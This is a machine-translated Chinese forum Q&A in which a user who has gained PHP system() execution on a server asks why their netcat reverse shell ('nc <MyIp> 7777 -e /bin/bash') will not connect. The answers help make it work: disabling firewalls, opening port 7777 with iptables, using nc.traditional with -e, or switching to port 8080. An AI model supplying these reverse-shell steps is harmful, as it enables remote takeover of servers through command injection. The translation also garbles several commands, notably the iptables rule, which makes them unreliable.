我正在给朋友服务器做笔试,我成功地在服务器的php页面上写了system()
然后我尝试向我的终端制作一个反向shell。
我使用NetCat开始收听我的7777端口nc -vlnp 7777
并检查是否安装了NetCat并且是。
因此将命令发送到php nc <MyIp> 7777 -e /bin/bash
以连接到我的终端
Yap没有工作,只是没有连接,是的,我的路由器上打开了端口。
任何人都知道为什么?
答案 0 :(得分:0)
这是因为有防火墙。尝试禁用Windows防火墙。 它使用基于主机的防火墙,因此只有在Windows计算机已启动连接的情况下,才能接受与Windows的任何传入连接。它基于动态状态包过滤原理。它记住已发送的it数据包,并接受与其相关的任何连接。 与Linux相同。 iptables配置。 iptables-L 确保您的防火墙没有阻止端口7777。使用以下命令 iptables-A输入-i eth0-p tcp--目的端口7777-j接受 这是服务器尝试连接到您的PC并阻止了Linux防火墙。 同样,如果您和服务器位于不同的网络中,则路由器具有网络防火墙,除非启用了转发功能,否则它们会阻止任何传入的连接。
答案 1 :(得分:0)
可能是多种原因。
首先要注意的是防火墙在受感染主机上阻止了您的出站连接。
第二个原因是 netcat并不总是支持-e
参数。如果可能,请安装netcat软件包apt-get install netcat
并使用nc.traditional <your IP> -e /bin/bash
祝你好运!
答案 2 :(得分:0)
如果仍然失败,则有另一个防火墙会阻止事物。使用另一个端口号作为快速解决方案,例如 8080 作为示例。